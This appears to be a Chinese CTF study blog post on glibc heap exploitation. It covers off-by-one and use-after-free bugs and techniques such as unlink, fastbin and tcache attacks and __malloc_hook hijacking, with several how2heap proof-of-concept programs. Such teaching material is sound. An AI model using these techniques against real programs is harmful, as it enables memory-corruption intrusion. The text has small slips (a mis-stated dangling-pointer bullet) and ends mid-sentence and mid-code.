0%

堆溢出(3)-堆攻击手法

记录下最近在ctf-wiki学习的一些堆溢出攻击相关的东西。有一些是从ctf-wiki的pwn部分cp来的,其中加入了一些自己看时的想法与版本矫正,方便理解与日后查阅。

这部分虽然名字叫堆攻击手法, 其实是对整个堆(包括漏洞,以及攻击手法)的囊括。当然这部分笔记先暂时只看漏洞方式与攻击手法,具体实例之后再看。

个人觉得这部分应该分为两部分,一个是堆的几个典型漏洞产生方式;一个是利用这些漏洞进行攻击的手段或者说技巧。这种手段或者技巧主要来源于glibc管理的feature。其实堆利用的各种手法的产生过程就是一个阅读源码并发现其中为了提高效率亦或者疏忽大意导致未作细致的安全检查,然后总结条件以抽象出这种利用形式的过程。

堆漏洞产生方式

出现堆攻击是由于堆管理或者代码本身出现了问题。主要有以下几个

  • 堆溢出
    • 溢出多个字节
    • Off-by-one
  • Use After Free

heap based Off-by-one

off-by-one就是溢出一个字节的漏洞,常常出现在下面两种情形下(其实可以归结为边界控制出现失误)

  • 循环边界次数错误
  • 字符串拷贝溢出结束符\x00
    • 最常见的 strlen计算字符串长度时不计算结束符 '\x00' , strcpy 在复制字符串时会拷贝结束符 '\x00',这样就造成了Off-by-one

以上这些Off-by-one很容易导致size的下一个chunk的最后一个字节被覆盖掉。而由前面对堆基础的学习,chunk的size字段中的后三位为三个标志位,其中最后一位prev_inuse标识了上一个块的使用情况

Use After Free

字面意思就是一个内存被释放后又再次被使用。对一个内存进行free后主要有两种情况

  • free后并将指针置为NULL,这就是正确的free操作
  • free后并将指针置为NULL,也就是dangling pointer
    • 在下一次使用前并没有再修改这个内存块,这种一般也能正常运行
    • 在下一次使用前修改了这个内存块,当再次使用时就会出现问题

UAF只是提供了去写入一个被free的chunk的内容的能力,具体利用起来需要配合其他的利用手法。

  • 比如利用UAF去修改chunk的fd和bk进行unlink等。

堆漏洞利用

下面是堆漏洞的利用技巧和利用手法。

Chunk Extend and Overlapping

核心:通过更改第一个块的大小来控制第二个块的内容

  • 后向Overlapping

    • fastbin的chunk进行extend
      • 增大第一个块的范围将第二个块包含进去,free的时候会合并成一个大的空闲chunk(fastbin中)
      • 再将其申请回来,便可以直接控制 chunk2 中的内容,称为overlapping chunk
    • 对inuse中的small bin进行extend
      • 修改正在使用的chunk的size,将chunk2包含进去,free掉后下次malloc申请到chunk便可以完全控制chunk2
    • 对 free 的 small bin 进行 extend
      • 常见于free后指针未置为NULL,继续使用此指针更改此chunk的size部分,将其extend
      • 被free的chunk会处于unsorted bin中,再次malloc回来就可以控制chunk2
  • 前向Overlapping

    • 针对small bin中的chunk 修改 pre_inuse 域和 pre_size 域实现合并前面的多个块
      • 为啥是small chunk ,因为fastbin被free会直接放回对应的链,不存在unlink chunk这个过程
      • 问题就在于:free时是通过pre_inuse判断前一个chunk是不是在使用,而并没有其他检查过程

Unlink方式利用了unlink_chunk函数在将chunk从chunk链上取出时的双链表操作检查的漏洞。

主要有两个内容:旧unlink和现有unlink方式。

libc早期的unlink_chunk代码中对没有检查,unlink_chunk代码如下

1
2
3
4
FD = p->fd;
BK = p->bk;
FD->bk = BK;
BK->fd = FD;

这种情况下如果利用chunk1的堆溢出去覆盖chunk2的fd 和bk字段,而free掉chunk1的时候由于chunk2空闲,所以会将chunk2 unlink,然后与chunk1合并,但是这时候chunk2的fd和bk已经被修改了,假设fd被修改为target_addr,bk被修改为target_value, 根据unlink操作

1
2
3
4
FD = p->fd;   -> target_addr
BK = p->bk; -> target_value
FD->bk = BK; ->以target_addr作为chunk的bk偏移处内存被修改为target_value(任意地址读写)
BK->fd = FD; --> 以target_value作为chunk的fd偏移处内存被修改为target_addr(需要保证target_value这个地方可写)

一般将target_addr设置为got表项,实现写got表,不过需要注意target_value作为chunk的fd偏移处内存需要可写,并且会被破坏,需要想办法绕过。

这个unlink的检查缺陷在随后的版本被修复,加入了检查

1
2
3
/*检查双链表是不是正确的, 防止简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果  这也是原来unlink利用方式的原理*/
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

可以看到主要是

  • 判断了下一个chunk的bk指针是否指向当前的chunk
  • 判断了上一个chunk的fd指针是否指向当前chunk

看下通过验证的判定条件,如果将需要unlink的这个chunk的fd指向fd_chunk,bk指向bk_chunk,则需要满足

1
2
3
4
5
fd_chunk-> bk == chunk
bk_chunk->fd == chunk
假设是32位,就是
*(fd_chunk+12) == chunk
*(bk_chunk +8) == chunk

能满足以上这两个条件即可。之后就会执行

1
2
*(fd_chunk+12)=bk_chunk
*(bk_chunk+8)=fd_chunk

其实如果将fd_chunk+12和bk+8都指向一个存放指向chunk的指针,那么

1
2
*chunk = chunk -8
*chunk = chunk -12

最后效果就是chunk处的指针指向了比他低12字节的地方,也就是chunk_ptr-12(32位情况下,64位就是chunk_ptr-0x18)。

触发情景(64位下)

  • 在UAF中时常出现修改 free的smallbin 中chunk或是 unsorted bin 的chunk的 fd 和 bk 指针
  • 假设指向UAF chunk的指针的地址为 ptr
  • 将其fd修改为 ptr - 0x18,bk修改为 ptr - 0x10
  • 进行unlink
  • ptr 处的指针会变为 ptr - 0x18

Fastbin attack

包含所有基于fastbin机制的漏洞利用方式。往往通过堆溢出或者UAF等控制chunk内容的漏洞实现对fastbin类型的chunk的修改,以进行攻击。

细分

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

Fastbin Double Free(fastbin dup)

fastbin double free指的是对同一个fastbin chunk 进行多次的free操作。根据堆的基本知识可以了解到,fastbin 的每个chunk链都是单链表,而在free操作时,由于检查机制问题(如下),只检查了当前chunk大小对应的那个chunk链的第一个chunk是否与当前chunk相同,防止double free.

1
2
3
4
5
6
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
/*对fastbin的chunk进行free时,只检查了是不是其对应的chunk链的第一个chunk相同,并没有检查是不是与chunk链上的每一个chunk相同*/
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old2 = old;

也就是说这样

1
2
3
4
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1); //fastbin : chunk1
free(chunk1); //malloc_printerr ("double free or corruption (fasttop)");

而没有检查整个chunk链的每一个chunk,这就会导致double free后一个chunk链中存在多个相同的chunk。于是,可以在中间穿插chunk,构造如下,便可以成功触发fastbin上的double free

1
2
3
4
5
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1); //fastbin : chunk1
free(chunk2); // fastbin: chunk2->chunk1
free(chunk1); //fastbin: chunk1->chunk2->chunk1

通过 fastbin double free ,可以达成多个指针控制同一个堆块,用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果可以进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (当然这里需要注意fastbin的index验证机制),相当于任意地址写任意值的效果。

House Of Spirit

在目标位置处伪造一个 fastbin chunk(伪造他的size部分),并将其释放,此chunk会被放入到对应的 fastbin 链表,从而达到分配指定地址的 chunk 的目的。

根据前面阅读源码学习,free时对fastbin chunk的检查大概有下面几个:

  • ISMMAP 位不能为1
    • free 时,如果是 mmap得到的chunk会另外处理
  • 地址对齐 MALLOC_ALIGN_MASK
  • size 大小需要满足 fastbin 的需求,而且需要对齐
    • szie位于fastbin范围,且满足对齐条件
  • next chunk 的size不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fastbin 链表头部不能是该chunk
    • free时检查了fastbin的对应链的头部是不是该chunk

how2heap的这段代码演示了此项技术。构造两个chunk(后一个chunk用于free时的后向chunk检查),然后释放第一个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

这种方法的关键就在于对chunk前后的内容进行修改,绕过在free时的检查即可。

Alloc to Stack

这个技术依赖于fastbin链是每个chunk由fd指针连接形成的单链表形式,如果将fastbin链中的chunk的fd指针指向栈上(比如利用UAF漏洞),那么多次申请内存时就可以申请到一个栈上的chunk(stack chunk),从而去写栈数据。

需要注意的地方在于fastbin的chunk ,其size要满足所在index的需求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;//--> fake chunk

void *chunk1;
void *chunk_a;

stack_chunk.size=0x21;
chunk1=malloc(0x10);

free(chunk1);

*(long long *)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);//--> stack chunk
return 0;
}

Arbitrary Alloc

由Alloc to Stack更进一步,fake chunk不仅可以分配到栈上,其实看源码就知道,虽然是堆管理,其实大部分只是在对chunk进行处理,并没有管到底是什么内存位置的chunk,所以只要size满足要求,可以在bss、heap、data、stack等各种可写内存中伪造chunk。

具体来说,malloc过程只对fastbin中的chunk做了这个检查,只是确保了当前这个chunk的index是正确的。而index的计算通过宏来完成,就是如下代码部分。

1
2
3
4
5
6
7
...
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");

这个检查极其的粗糙,unsigned int是四个字节的,这意味着伪造的时候甚至size部分不需要满足全部8个字节,并且宏还进行了右移操作,所以对齐也被忽略掉了。比如

1
2
3
4
5
6
7
>>> import ctypes
>>> (ctypes.c_int32(0x71).value>>4) -2
5
>>> (ctypes.c_int32(0x7f).value>>4) -2
5
>>> (ctypes.c_int32(0x123456780000007f).value>>4) -2
5

虽然size差别很大,但用宏计算后都得到了index为5。

修改__malloc_hook劫持控制流

用上面方式,可以去修改__malloc_hook或者说__realloc_hook实现劫持控制流。

所谓__malloc_hook其实就是挂在malloc的钩子函数。前面说到malloc源码部分。在_lib_malloc中会首先去检查是否有__malloc_hook存在,如果存在的话。则调用之。这就意味着如果我们事先修改了__malloc_hook地址的内容,就可以在下一次调用malloc时获得控制流。

具体攻击方式如下:

  • __malloc_hook的地址附近(低地址处),找一个满足要求的size
    • 可以通过错位实现诸如0x000000000000007f这种值,只要__malloc_hook不在chunk的头部(不可修改)即可。
  • 将其伪造为一个fastbin chunk,放入chunk链
    • 想办法将它free掉
  • 之后申请到此chunk,对chunk进行写入即可修改__malloc_hook中存放的hook函数地址了
    • 改为got表中的其它函数指针或者修改为one_gadget的地址

Unsorted Bin Attack

基于下面一段unsorted bin插入时的代码:

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

如果可以控制 bk 的值,就能将 unsorted_chunks (av) 写到任意地址。

示例参见 unsorted_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

具体流程如下:

img

不过unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。并且unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受控制,唯一可以知道的是这个值比较大。

有用的点:

  • 修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin方便执行fastbin attack
  • 想不到了

Large Bin Attack

还是使用how2heap 中的 large_bin_attack 源码来学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// 主要漏洞在这里
/*

This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

[...]

else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.

[...]

*/

// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p2 - 2), (void *)(p2[0]));

void* p4 = malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n",
(void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

其实large bin chunk之所以可以修改两个值,原因就在于large bin chunk在从链上移除时会修改两对指针:fd与bk指针以及fd_nextsize与bk_nextsize,其利用和unsorted bin attack并无两样。

实际中large bin attack也是无具体用途的,一般和Unsorted Bin Attack一样用来修改global_max_fast 以扩大fastbin的chunk大小辅助fast bin attack。

Tcache attack

tcache makes heap exploitation easy again

tcache的结构前面已经说过。tcache的优先级目前是最高的,与fastbin相似,也是多个后进先出单链表以及对应的链表chunk的计数器组成的。tcache attack也与fastbin attack有很多相似的地方

tcache poison

覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可malloc 到任何地址。还是shellphish的how2heap的例子tcache_poisoning(glibc_2.26)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

return 0;
}

利用一个可以覆盖chunk fd字段的漏洞,实现对free后chunk的fd覆盖,其实也就是指向下一个tcache的地址指针的覆盖即可在tcache链伪造一个chunk,之后申请回这个chunk即可实现任意地址写。

tcache dup

tcache在调用tcache_put时并没有做安全检查(没有检查chunk是否已经在tcache中了),所以可以对一个chunk进行多次free,这是此利用手法的关键,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*将一个chunk放回tcache中*/
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
/*chunk转为mem指针*/
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
//设置放回头部
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);//计数器自增
}

以 how2heap 的 tcache_dup 做说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

fprintf(stderr, "Allocating buffer.\n");
int *a = malloc(8);

fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

return 0;
}

对一个chunk多次free后,tcache中将会有两个相同的chunk,两次malloc后可以得到这两个第一一样的chunk,出现多个指针控制同一个chunk。相比fastbin dup也更加简单.

patch

在新的glibc(2.26没有,但2.29有) 的patch中,这种手法已经得到了修补,具体来说是在tcache_entry结构体新增了key,并且遍历了tcache链表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
{
/*找对应到tcache的index*/
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
/*遍历链表看是不是有相同的tcache chunk 防止double free*/
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

这里由于

tcache perthread corruption

简单地说,就是寻找方法(比如前面说的tcache poison)尝试去控制tcache_perthread_struct结构体。

tcache house of spirit

将伪造的chunk进行free后放入tcache中。

和fastbin attack有相似之处,而且更加简单。由于没有检测下一个chunk,所以这里只需要伪造一个chunk即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

fprintf(stderr, "Ok. Let's start with the example!.\n\n");


fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。

下面便是glibc中上述所说部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
/*当从这个small bin中找到一个可用chunk后,会把bin上其他的所有chunk都放入tcache*/
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
/*这里是先从链上取下chunk,类似于unlink操作,不过相比之下更加的简单,没有安全检查 tcache smallbin unlink*/
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
/*将取下的chunk放入tcache中*/
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

可以看到只是简单的脱链操作,没有任何安全检查。

how2heap 中的 tcache_stashing_unlink_attack.c 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);//>0x90

//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

